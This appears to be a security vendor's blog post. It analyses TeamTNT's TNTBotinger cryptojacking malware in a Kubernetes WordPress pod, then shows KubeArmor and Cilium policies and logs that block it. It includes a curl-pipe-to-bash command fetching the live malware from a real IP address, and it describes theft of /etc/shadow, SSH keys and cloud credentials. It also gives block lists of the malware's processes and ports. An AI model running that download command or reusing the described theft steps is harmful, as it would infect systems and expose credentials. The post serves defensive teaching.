Introduction
With the development of contemporary infrastructure, cryptocurrency mining has grown in popularity. It's simple to target settings like Kubernetes, since you might not even look at what the container image does and what it's behaviour with proactive monitoring. Cryptojacking is a malware strain that plunders the CPUs of infected PCs in order to steal computational power, for mining of virtual tokens such as Ethereum (ETH) and Monero (XMR). Resulting in subsequent transmission to attacker-controlled Crypto wallets.
TeamTNT, a cybercrime outfit, used an XMRig bitcoin miner to exploit open Docker APIs. TeamTNT evolved its assaults over time, obtaining Amazon Web Services (AWS) secure shell (SSH) credentials and including self-replicating behavior for propagation. TeamTNT's latest attack, which involves the use of the group's own IRC (Internet Relay Chat) bot, is discussed here. It is an IRC bot that can perform widespread denial of service attacks (DDoS).
Technical analysis and Attack Tree
The attackers must first be able to accomplish remote code execution (RCE) on the original target system in order for this attack to be successful. RCE can be performed by malicious actors by exploiting misconfiguration issues, leveraging unpatched vulnerabilities, and exploiting security shortcomings; such as weak or overused passwords and keys, or stolen credentials.
The initial propagation begins with the execution of a malicious shell script on a target workstation. The script checks for the/dev/shm/.alsp file. If the file cannot be located, the script begins its work.
1. setupmyapps() : This function installs the dependencies onto the target machine for the smooth working of the malware
2. uploadthersa() : Configurations files like RSA keys used for SSH access, Bash history, AWS and Docker configuration files, /etc group, /etc/passwd, /etc/shadow, /etc/gshadow etc are tarball'ed and uploaded to an upload server.
3. getsomelanssh() : Generates ssh IP ranges using massscan and updates .ssh/known_hosts file
4. localgo() : Makes use of the known_host file created in step 3 to attempt authentication on newly detected devices. If these efforts succeed, the same payload is installed on other machines, and the assault spreads.

The Scenario Setup
The scenario's purpose is to demonstrate how an attacker can install and run TNTBotinger in a Kubernetes environment.
Let's create a new Kubernetes cluster with default values.
gcloud container clusters create sample-cluster --zone us-central1-c
Once the cluster is ready we will deploy a WordPress application into it. For this, we have created a complete YAML for WordPress installation on Kubernetes. You can use this predefined deployment file to quickly deploy WordPress to your Kubernetes environment.
kubectl apply -f https://raw.githubusercontent.com/accuknox/samples/main/wordpress-demo/k8s-wordpress.yaml
We will check whether the application is running and also get the external IP to our WordPress application.
kubectl get po -o wideNAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATESwordpress-68f6d5cdd6-v9zs2 1/1 Running 0 47m 10.48.0.13 gke-sample-cluster-default-pool-b3c3ac79-swsv wordpress-mysql-55556f7-vndmw 1/1 Running 0 47m 10.48.0.12 gke-sample-cluster-default-pool-b3c3ac79-swsv
kubectl get svc
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGEkubernetes ClusterIP 10.52.0.1 443/TCP 51mwordpress LoadBalancer 10.52.11.155 34.121.64.210 80:30231/TCP 49mwordpress-mysql ClusterIP None 3306/TCP 49m
With this, the initial setup is completed.
How does the malware work?
To know the working of the malware we will skip the initial RCE step and execute it directly inside the container. And once we are inside let's use the top command to see the normal working of our application.
kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- top
top - 17:21:22 up 59 min, 0 users, load average: 2.01, 1.83, 1.81
Tasks: 7 total, 1 running, 6 sleeping, 0 stopped, 0 zombie
%Cpu(s): 36.8 us, 6.5 sy, 0.0 ni, 55.7 id, 0.0 wa, 0.0 hi, 0.5 si, 0.5 st
KiB Mem: 4027348 total, 2363216 used, 1664132 free, 64004 buffers
KiB Swap: 0 total, 0 used, 0 free. 940556 cached Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1 root 20 0 315076 30944 25164 S 0.0 0.8 0:00.34 apache2
190 www-data 20 0 315108 7688 1900 S 0.0 0.2 0:00.00 apache2
191 www-data 20 0 315108 7688 1900 S 0.0 0.2 0:00.00 apache2
192 www-data 20 0 315108 7688 1900 S 0.0 0.2 0:00.00 apache2
193 www-data 20 0 315124 7688 1900 S 0.0 0.2 0:00.00 apache2
194 www-data 20 0 315108 7688 1900 S 0.0 0.2 0:00.00 apache2
200 root 20 0 21924 2484 2156 R 0.0 0.1 0:00.01 top
From the data, we can see that the container only has an Apache process running. Before running the TNTBot script, let's install lsof and net-tools to gain more visibility into the container.
The podname: wordpress-68f6d5cdd6-v9zs2 will vary according to the environment
Now let's download and execute the TNTBot script.
curl -Ls http://152.67.166.153/sugarcrm/themes/default/images/Bot | bash
We will use commands like lsof -i -P -n, top, ls -la /dev/shm/ and ls -la /proc//exe to monitor activities happening post running the TNTBotinger
kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- watch -n2 lsof -i -P -n
Every 2.0s: lsof -i -P -n Fri Feb 10 19:25:59 2022
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAMEapache2 1 root 3u IPv4 73422 0t0 TCP *:80 (LISTEN)
tshd 727 root 0u IPv4 118442 0t0 TCP *:51982 (LISTEN)
curl 753 root 4u IPv4 118467 0t0 TCP 10.40.1.40:60634->152.67.166.153:80 (ESTABLISHED)
apache2 1 root 3u IPv4 73422 0t0 TCP *:80 (LISTEN)
tshd 727 root 0u IPv4 118442 0t0 TCP *:51982 (LISTEN)
bioset 762 root 3u IPv4 116698 0t0 TCP *:1982 (LISTEN)
kubectl exec -it wordpress-68f6d5cdd6-v9zs2 -- top
Tasks: 19 total, 3 running, 14 sleeping, 0 stopped, 2 zombie
%Cpu(s): 68.0 us, 23.8 sy, 0.0 ni, 4.3 id, 0.0 wa, 0.0 hi, 3.7 si, 0.3 st
MiB Mem : 3933.0 total, 125.7 free, 3204.0 used, 603.2 buff/cache
MiB Swap: 0.0 total, 0.0 free, 0.0 used. 512.0 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
4315 root 20 0 2432860 2.3g 3640 S 51.2 59.0 2:23.84 3
5051 root 20 0 3564 760 652 R 21.3 0.0 0:01.07 lsof
4348 root 20 0 252 24 0 R 7.3 0.0 0:04.37 3
1 root 20 0 2508 528 460 S 0.0 0.0 0:00.01 sleep
4304 root 20 0 0 0 0 Z 0.0 0.0 0:00.00 3
4329 root 20 0 0 0 0 S 0.0 0.0 0:00.00 tshd
ls -la /dev/shm/
drwxrwxrwt 2 root root 60 Feb 10 20:19 .
drwxr-xr-x 5 root root 360 Feb 10 19:59 ..
-rw-r--r-- 1 root root 9 Feb 10 20:19 .alsp
ls -la /proc/4315/exe
lrwxrwxrwx 1 root root 0 Feb 10 20:19 /proc/4315/exe -> '/memfd: (deleted)'
ls -la /proc/4329/exe
lrwxrwxrwx 1 root root 0 Feb 10 20:20 /proc/4329/exe -> /usr/bin/tshd
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 315076 31228 ? Ss 20:03 0:00 apache2 -DFOREGROUND
www-data 67 0.0 0.1 315124 7772 ? S 20:03 0:00 apache2 -DFOREGROUND
root 101 0.0 0.0 20260 3268 pts/4 Ss+ 20:06 0:00 bash
www-data 107 0.0 0.1 315108 7772 ? S 20:06 0:00 apache2 -DFOREGROUND
root 422 0.0 0.0 20260 3244 pts/6 Ss+ 20:09 0:00 bash
root 717 80.6 48.6 2432796 1960532 ? Ssl 20:10 0:45 sbin
root 727 0.0 0.0 10284 144 ? Ss 20:10 0:00 /usr/bin/tshd
root 752 5.3 0.0 252 28 ? S 20:10 0:02 sbin
root 762 0.0 0.0 3192 876 ? Ss 20:10 0:00 systemd
root 1010 0.0 0.0 17500 2036 pts/3 R+ 20:11 0:00 ps -aux
ps -aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.7 315076 31228 ? Ss 20:03 0:00 apache2 -DFOREGROUND
www-data 67 0.0 0.1 315124 7772 ? S 20:03 0:00 apache2 -DFOREGROUND
root 101 0.0 0.0 20260 3268 pts/4 Ss+ 20:06 0:00 bash
www-data 107 0.0 0.1 315108 7772 ? S 20:06 0:00 apache2 -DFOREGROUND
root 422 0.0 0.0 20260 3244 pts/6 Ss+ 20:09 0:00 bash
root 717 80.6 48.6 2432796 1960532 ? Ssl 20:10 0:45 sbin
root 727 0.0 0.0 10284 144 ? Ss 20:10 0:00 /usr/bin/tshd
root 752 5.3 0.0 252 28 ? S 20:10 0:02 sbin
root 762 0.0 0.0 3192 876 ? Ss 20:10 0:00 systemd
root 1010 0.0 0.0 17500 2036 pts/3 R+ 20:11 0:00 ps -aux
From the generated logs, we could infer that the Botinger is creating files under /dev/shm/ spawning new tshd and bioset processes and listening to TCP ports 51982 and 1982.
The Bot is uploading /etc/files to a remote server.
tar -xf rsa.up.tar.gz
ls
etc rsa.up.tar.gz
ls etc/
group gshadow hosts passwd shadow
Providing Runtime protection and defending against the example vulnerability with AccuKnox Opensource tools
Accuknox enables the ability to protect your workloads at run-time. Accuknox enables this by allowing you to configure policies (or auto-discover them) for application and network behavior using KubeArmor, Cilium, and Auto Policy Discovery tools
KubeArmor is open-source software that enables you to protect your cloud workload at runtime.
The problem that KubeArmor solves is that it can prevent cloud workloads from executing malicious activity at runtime. Malicious activity can be any activity that the workload was not designed for or is not supposed to do.
Given a policy, KubeArmor can restrict the following types of behavior on your cloud workloads:
File access - allow/deny specific paths
Allow / deny Process execution / forking
Allow / Deny Establish network connections
Allow / Deny workloads to request other capabilities with the host os. Such capabilities can enable additional types of malicious behavior.
Cilium, an open source project to provide eBPF-based networking, security, and observability for cloud-native environments such as Kubernetes clusters and other container orchestration platforms.
How do we block this Cryptojacking?
Let us now block cryptojacking by enforcing a simple policy via KubeArmor and Cilium, the policy is as follows:
#KubeArmor is an open source software that enables you to protect your cloud workload at run-time.
#To learn more about KubeArmor visit:
#https://www.accuknox.com/kubearmor/
apiVersion: security.kubearmor.com/v1
kind: KubeArmorPolicy
metadata:
name: ksp-teamtnt-tntbotinger-ddos-block
namespace: default # Change your namespace
spec:
message: "Incident! TeamTNT DDoS attempt is blocked"
tags : ["Botnet", "TeamTNT", "RC Bot TNTBotinger", "MALWARE"]
selector:
matchLabels:
app: frontend # Change your matchLabels
process:
severity: 1
matchPaths:
- path: /dev/shm/sbin
- path: /usr/bin/tshd
- path: /usr/bin/kube
- path: /usr/bin/bioset
- path: /usr/bin/apt
- path: /usr/bin/apt-get
- path: /usr/bin/tar
action: Block
file:
severity: 2
matchPaths:
- path: /dev/shm/.alsp
action: Audit
apiVersion: "cilium.io/v2"
kind: CiliumNetworkPolicy
metadata:
name: "deny-malware-tntbotinger-communication"
spec:
description: "Policy to deny tntbotinger communication over port 6697, 51982 and 1982"
endpointSelector:
matchLabels:
app: wordpress
egressDeny:
- toPorts:
- ports:
- port: "6697"
protocol: TCP
ingressDeny:
- toPorts:
- ports:
- port: "51982"
protocol: TCP
- port: "1982"
protocol: TCP
The Policy: In action
You can simply take advantage of our open-source GitHub inventory, and apply policy directly from there:
kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/malware/system/ksp-teamtnt-tntbotinger-ddos-block.yaml
kubectl apply -f https://raw.githubusercontent.com/kubearmor/policy-templates/main/malware/network/cnp-deny-malware-tntbotinger-communication.yaml
Checking the policy logs on KubeArmor
There are two ways we can check policy logs on KubeArmor.
I. Using kubearmor.log
The traditional way is all about finding the KubeArmor pod running on the same node as the application pod and executing inside it to find logs.
- Get the node name on which your application pod is running.
kubectl get pods -o wide
NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
wordpress-68f6d5cdd6-5dl2k 1/1 Running 0 42m 10.40.1.40 gke-sample-cluster-default-pool-e2ec07d0-nh6g <none> <none>
wordpress-mysql-55556f7-885lm 1/1 Running 0 94m 10.40.2.47 gke-sample-cluster-default-pool-e2ec07d0-d246 <none> <none>
2. We will take the node name gke-sample-cluster-default-pool-e2ec07d0-nh6g and check for the KubeArmor pod running on it.
kubectl get po -A -lkubearmor-app=kubearmor -o wide
NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
kube-system kubearmor-47nh5 1/1 Running 1 44m 10.128.0.4 gke-sample-cluster-default-pool-e2ec07d0-lh59 <none> <none>
kube-system kubearmor-kpznj 1/1 Running 0 96m 10.128.15.232 gke-sample-cluster-default-pool-e2ec07d0-d246 <none> <none>
kube-system kubearmor-mklzw 1/1 Running 0 96m 10.128.0.6 gke-sample-cluster-default-pool-e2ec07d0-nh6g <none> <none>
3. We got to know that kubearmor-mklzw pod is running on node gke-sample-cluster-default-pool-e2ec07d0-nh6g.
4. Let us execute into the pod and watch the logs and you can check the entire logs or grep it with keywords like policy name.
kubectl -n kube-system exec -it kubearmor-mklzw -- tail -f /tmp/kubearmor.log | grep -i ksp-teamtnt-tntbotinger-ddos-block | jq
5. Blocked Log Created by KubeArmor
{
"timestamp": 1644525585,
"updatedTime": "2022-02-10T20:43:03.536515Z",
"hostName": "gke-sample-cluster-default-pool-e2ec07d0-nh6g",
"namespaceName": "default",
"podName": "wordpress-68f6d5cdd6-5dl2k",
"containerID": "549c8dc6811bb41217a91466b354a874809a78c1c76b440fdfb420cc4394c6e4",
"containerName": "wordpress",
"hostPid": 9324,
"ppid": 485,
"pid": 526,
"uid": 0,
"policyName": "ksp-teamtnt-tntbotinger-ddos-block",
"severity": "1",
"tags": "Botnet,TeamTNT,RC Bot TNTBotinger,MALWARE",
"message": "Incident! TeamTNT DDoS attempt is blocked",
"type": "MatchedPolicy",
"source": "/usr/bin/bash",
"operation": "Process",
"resource": "/usr/bin/chmod +x /usr/bin/tshd",
"data": "syscall=SYS_EXECVE",
"action": "Block",
"result": "Permission denied"
}
II. Using kArmor
kArmor is a CLI client to help manage KubeArmor. With kArmor you can get the logs in 2 steps.
- Download and Install kArmor CLI (if not present)
curl -sfL https://raw.githubusercontent.com/kubearmor/kubearmor-client/main/install.sh | sudo sh -s -- -b /usr/local/bin
2. Enable port-forwarding for KubeArmor relay
kubectl port-forward -n kube-system svc/kubearmor 32767:32767&
3. Observing logs using kArmor cli
karmor log
4. Blocked Log Created by kArmor
gRPC server: localhost:32767
Handling connection for 32767
Created a gRPC client (localhost:32767)
Checked the liveness of the gRPC server
Started to watch alerts
== Alert / 2022-02-10 20:34:51.013366 ==
Cluster Name: sample-cluster
Host Name: gke-sample-cluster-default-pool-e2ec07d0-nh6g
Policy Name: ksp-teamtnt-tntbotinger-ddos-block
Severity: 1
Tags: Botnet,TeamTNT,RC Bot TNTBotinger,MALWARE
Message: Incident! TeamTNT DDoS attempt is blocked
Type: MatchedPolicy
Source: /usr/bin/bash
Operation: Process
Resource: /usr/bin/chmod +x /usr/bin/tshd
Data: syscall=SYS_EXECVE
Action: Block
Result: Permission denied
Auto Policy Discovery for your Applications
Writing KubeArmor and Cilium (System and Network) policies simple with AccuKnox opensource. It has simplified one step further by introducing a new CLI tool for Auto Discovered Policies.
The Auto-Discovery module helps users by identifying the flow and generating policies based on it.
Discovering policies has never been easier with Auto Discovery. In two simple commands, you can set up and generate policies without having any trouble.
To auto-discover policies, execute the following command:
curl -s https://raw.githubusercontent.com/accuknox/tools/main/get_discovered_yamls.sh | bash
You should be able to see the following output.
Downloading discovered policies from pod=knoxautopolicy-74f5b5d65b-9qksd
{
"res": "ok"
}
Got 33 cilium policies in file cilium_policies.yaml
{
"res": "ok"
}
Got 292 kubearmor policies in file kubearmor_policies.yaml
Within seconds after installing and executing auto policy discovery tool, it generated 33 Cilium policies and 292 KubeArmor policies. These features by AccuKnox open-source enhance all the necessary policies to secure your workload, that are generated and ready to be used in a single click!
Accuknox's policy templates repository
Accuknox's policy templates is an open-source repository that also contains a wide range of attack prevention techniques including MITRE, as well as hardening techniques for your workloads. Please visit https://github.com/kubearmor/policy-templates to download and apply policy templates.
Conclusion
Since the cloud has the more computational capacity, hackers are focusing their cryptojacking assaults on cloud infrastructure using containerised platforms like Docker and Kubernetes. Despite the difficulty of detecting and mitigating a cryptojacking assault, the AccuKnox opensource tools take care of this issue.
Now you can protect your workloads in minutes using AccuKnox, it is available to protect your Kubernetes and other cloud workloads using Kernel Native Primitives such as AppArmor, SELinux, and eBPF.
Reach out to us if you are seeking additional guidance in planning your cloud security program.
Read more blogs from Cloud Security Category here.